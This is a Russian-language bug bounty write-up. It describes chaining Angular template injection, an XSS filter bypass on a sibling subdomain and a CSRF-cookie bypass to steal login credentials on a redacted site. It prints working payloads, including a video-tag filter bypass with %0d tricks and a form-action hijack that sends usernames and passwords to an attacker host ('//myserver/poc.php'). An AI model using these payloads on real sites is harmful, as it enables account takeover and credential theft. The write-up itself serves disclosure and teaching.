Давным-давно, в далекой галактике хакинга… была форма входа, построенная на Angular. Эта история о том, как я смог украсть учетные данные, используя инъекцию шаблона Angular, XSS-уязвимость, и про обход CSRF защиты. Настоящий целевой сайт раскрыть нельзя, поэтому назову его redacted.com.

Инъекция шаблона Angular

При посещении https://subdomain.redacted.com, Wappalizer подсказал мне, что страница построена на Angular версии 1.8.2. На главной странице сайта находилась форма входа, которую я проверил на наличие инъекции шаблона Angular. Я ввёл {{7*7}} в качестве имени пользователя и «xxx» в качестве пароля. После нажатия кнопки входа, в поле ввода имени пользователя я увидел число 49. Значит, я успешно осуществил инъекцию шаблона Angular. Отлично!

Теперь настала очередь проверить сайт на наличие XSS. Обнаружив подходящий шаблон для Angular версий начиная с 1.6+, я воспользовался следующей нагрузкой:

{{constructor.constructor('alert(document.domain)')()}}

Поместив это в поле имени пользователя и нажав кнопку входа, я получил алерт. Ура! Уже хорошо. Но на данный момент я получил лишь self-XSS, что практически бесполезно.

Обход защиты от CSRF — превращение self-XSS в POST-based XSS

Форма входа использовала метод HTTP POST, поэтому следующим шагом было попытаться превратить self-XSS в POST-based XSS. Я скопировал форму в файл и попытался отправить, однако возникла ошибка.

В форме я заметил скрытое поле RequestVerificationToken:

<input name=”__RequestVerificationToken” type=”hidden” value=”wdvSsmrUEwOgqYbVXhGVM9QrRvuJ6Q1qECY0IdLheg_BZBi-nKix0KmO4Hhc3qsN7PLKR3S7_ruvTh9Zm7RCiuo2jntoBNGjkAQ0_LGj8T81″ />

Именно оно стало причиной провала моего эксперимента. Форма защищена с помощью CSRF-токена. Я попробовал несколько стандартных способов обхода, но ничего не сработало. Затем я проанализировал POST-запрос, отправляемый при попытке входа, и обнаружил ещё один RequestVerificationToken, передаваемый как cookie:

__RequestVerificationToken_L2HvYbluXTkr:S6X0D6jm1iP_Mu7srWO2srOcPW36oxZcrc2q8j6b1Ts_PeB3wxLteCsZdWE

Таким образом, защита от CSRF-атак основывалась одновременно на скрытой переменной в форме и специальной куке.

Видимо, приложение было разработано на ASP.NET. Этот токен отличался от значения в самой форме. После тестирования обоих токенов я понял, что необходимо правильно установить оба: и тот, что указан в форме, и тот, что хранится в куке. Тогда я составил следующую схему атаки:

1. Использую PHP curl для загрузки исходного кода страницы, чтобы извлечь оба токена: из cookie, и HTML-кода.

2. Создаю форму с внедрением украденного CSRF-токена (токен формы) и полезной нагрузкой в виде Angular-шаблона.

3. Чтобы задать значение второго CSRF-токена (cookie), необходим доступ к любому субдомену redacted.com, на котором имеется уязвимость XSS, для установки cookie:

document.cookie = "__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; path=/; domain=.redacted.com";

Поскольку сайт B не может использовать cookie для сайта A, cookie с указанием домена .redacted.com подойдут к любому другому субдомену redacted.com, включая целевую страницу (subdomain.redacted.com).

4. Установив нужный CSRF-cookie с помощью XSS, возвращаюсь обратно к моему скрипту и отправляю форму с нагрузкой Angular-XSS.

5. Итог: да, мой сценарий заработал 🤣

Обход фильтра XSS для установки cookie CSRF-токена

Сначала мне было сложно обнаружить уязвимый к XSS эндпоинт, но спустя некоторое время я нашел подходящую цель. Назовём её xsssubdomain.redacted.com.

https://xsssubdomain.redacted.com/somewhere/file.cfm

Эта был POST-XSS, а форма не имела ни защиты от CSRF, ни WAF. Тем не менее, там присутствовала фильтрация XSS. Форма состояла из множества полей, и я сосредоточился на первом параметре — адресе. Начав тестировать запросы через Burp Suite, я обнаружил, что могу вставлять фрагменты HTML-контента.

Значение заголовка <h1> успешно рендерилось на сайте — значит, внедрение HTML прошло успешно. Далее я попытался внедрить тег изображения, но потерпел неудачу. Там работал некий фильтр:

И тег <img>, и атрибут src были вырезаны. Следующим шагом я попробовал воспользоваться внедрением сценария (script), но столкнулся с ошибкой «Недопустимый тег»:

Я выяснил, что фильтр работает по принципу чёрного списка, удаляя определённые теги и события. Поэтому я решил искать те элементы, которые не попадают под запрет. Для этого я скопировал список всех возможных тегов и событий из руководства по XSS на портале PortSwigger: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet. Затем я воспользовался мощным расширением Turbo Intruder (https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988) для Burp Suite от Джеймса Кеттла. Так как я пользуюсь бесплатной версией Burp Community Edition, стандартный Intruder довольно медленно обрабатывал запросы. Именно поэтому я выбрал ускоренную версию.

Собрав все разрешённые теги, я приступил ко второму этапу проверки, поиску подходящего события. Моя цель заключалась в поиске комбинации элементов, позволяющей построить рабочий XSS-эксплойт. Оказалось, что событие onauxclick не заблокировано, благодаря чему я сумел собрать первую часть нагрузки:

XXX" onauxclick=document.write(document.domain)

Так как нагрузка внедрялась внутри тега <input>, она требовала взаимодействия пользователя — клика правой кнопкой мыши по полю ввода. Эксперимент удался, но это не соответствовало моим ожиданиям — я хотел обойтись без взаимодействия со стороны пользователя. Дальнейшие поиски привели меня к выводу, что тег <video> и событие oncanplay тоже разрешены. Таким образом, я попробовал следующий вариант нагрузки:

Ничего себе! Весь тег целиком был обрезан. Я начал экспериментировать с магическими символами %0d, %0a и %09, соответствующими возврату каретки (CR), переносу строки (LF) и табуляции соответственно, пытаясь обойти фильтр, и это сработало 🙂. Добавление %0d обмануло фильтр, и вот что получилось:

Чтобы заставить нагрузку заработать, нужен был валидный MP4-файл, поскольку JavaScript-код исполняется, только при воспроизведении фильма. Я создал короткий видеоролик формата MP4 с помощью инструмента https://clideo.com и разместил его онлайн, предположим, по адресу: https://myserver/video.mp4. Я добавил атрибут autoplay, чтобы воспроизведение запускалось автоматически. Затем я включил ссылку на видео в свою нагрузку и...:

HTTP часть была обрезана. Ну почему?! Однако я мог записать тот же самый URL как //myserver/video.mp4, и он оставался неповреждённым. Поэтому я продолжил разработку финальной нагрузки, предназначенной для установки cookie:

XXX”><video autoplay oncanplay%0d=%0ddocument.cookie(“__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; domain=.redacted.com; samesite=none”)><source src%0d=”//myserver/video.mp4″ type=”video/mp4″></video><!–

Я добавил в конце нагрузки конструкцию <!--, что немного ускоряет срабатывание эксплоита. Ответ оказался весьма шокирующим.

Куда, чёрт возьми, пропал тег <video>?! — спросил я себя. Спустя некоторое время я осознал, что проблема заключается в имени cookie. Видимо, тут действовал дополнительный уровень фильтрации. Если я задавал имя cookie как '__RequestVerification', нагрузка работала исправно, и ответ приходил нормальным. Стоит добавить хотя бы один лишний символ в конец имени cookie, например, сделать его таким: '__RequestVerificationX', и тег <video> снова исчезал. Я вновь вернулся к экспериментам с волшебными последовательностями символов (%0d, %0a и др.), но ничего не помогало 😒. После небольшого перерыва я сделал открытие: строка "__RequestVerificationToken_L2HvYbluXTkr" использовалась в JavaScript-контексте — как аргумент метода document.cookie. Что если применить конкатенацию строк?

"RequestVerification"+"Token_L2HvYbluXTkr"

И представьте себе — это сработало. Некоторые символы пришлось преобразовать в URL-кодировку, и итоговая рабочая нагрузка выглядела так:

XXX"</td><video autoplay oncanplay%0d=%0d'document.write();document.cookie="__RequestVerification"%2b"Token_L2HvYbluXTkr=TOKENVALUE;domain=.redacted.com;path=/;samesite=none";document.location.href="//myserver/POC.php?ret=1%26rvtf=FORMTOKENVALUE"'><source src%0d="//myserver/video.mp4" type="video/mp4"></video><!--

Этот код делает следующее:

- очищает экран, так как веб-сайт с XSS может кратковременно мелькнуть,

- устанавливает RequestVerification cookie через XSS на субдомене,

- перенаправляет пользователя назад на Proof-of-Concept скрипт злоумышленника.

Кража учётных данных с сайта subdomain.redacted.com

Angular-based XSS нагрузка была помещена внутрь формы входа. Я не знаю, удастся ли мне похитить сессионный cookie аутентифицированного пользователя, потому что когда пользователь залогинился, он больше не видит форму входа. У меня даже нет аккаунта на данном ресурсе, чтобы проверить это. Я пришёл к мысли, что лучше всего поместить нагрузку, крадущую вводимые учётные данные непосредственно при входе пользователя. То есть в момент, когда пользователь вводит своё имя и пароль, эти данные отправляются на сервер злоумышленника, сохраняются в файле, а потом возвращаются на настоящий сайт. С точки зрения жертвы кажется, будто произошла обычная ошибка — возможно, неправильный ввод данных.

Сначала я пытался отправлять учётные данные через AJAX-запросы, но они, естественно, блокировались механизмом CORS. Во второй раз я пробовал передать данные через объект img.src, встраивая их в картинку. Такой подход иногда работает, но в моём случае результата не принёс. В ответе (браузер Firefox) появлялась ошибка NS_BINDING_ABORTED. Почему так произошло, остаётся загадкой. Самым простым решением оказалось изменить атрибут action формы и направить отправляемые данные на мой файл poc.php, вместо оригинального сайта. Пришлось закодировать апострофы в HTML-сущности, чтобы включить нагрузку в значение атрибута. Финальная версия нагрузки выглядела примерно так:

{{constructor.constructor('& #39$("div.validation-summary-errors").hide();$("input[type=submit]").click(function(e){$("#loginform").attr("action","//myserver/poc.php");})& #39')()}}

Она выполняла две вещи:

скрывала сообщение об ошибках при выполнении инъекции шаблона,
заменяла адрес цели атрибута action на скрипт poc.php.

Скрипт poc.php принимал полученные учётные данные, сохранял их в файле stolen_credentials.txt и перенаправлял жертву обратно на оригинальную форму входа.

PoC на PHP

Ниже представлен полный PHP-код, который объединяет всю цепочку найденных уязвимостей. Извиняюсь за хаотичность, это просто готовый эксплойт :)

Уязвимость типа POST-XSS изначально выходила за рамки программы вознаграждений за баги. Я знал это заранее, но воспринял ситуацию как вызов и надеялся, что мою находку примут, ведь речь шла о серьёзной угрозе захвата аккаунтов пользователей. Несмотря на длительное обсуждение и мои аргументы, отчёт всё равно хотели закрыть как нерелевантный 🤷.

Обновление: после долгих переговоров с триажерами компания повторно рассмотрела отчёт и риски, связанные с этой уязвимостью, и оценила уровень уязвимости как высокий. 🙂

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Цепочка уязвимостей для кражи учетных данных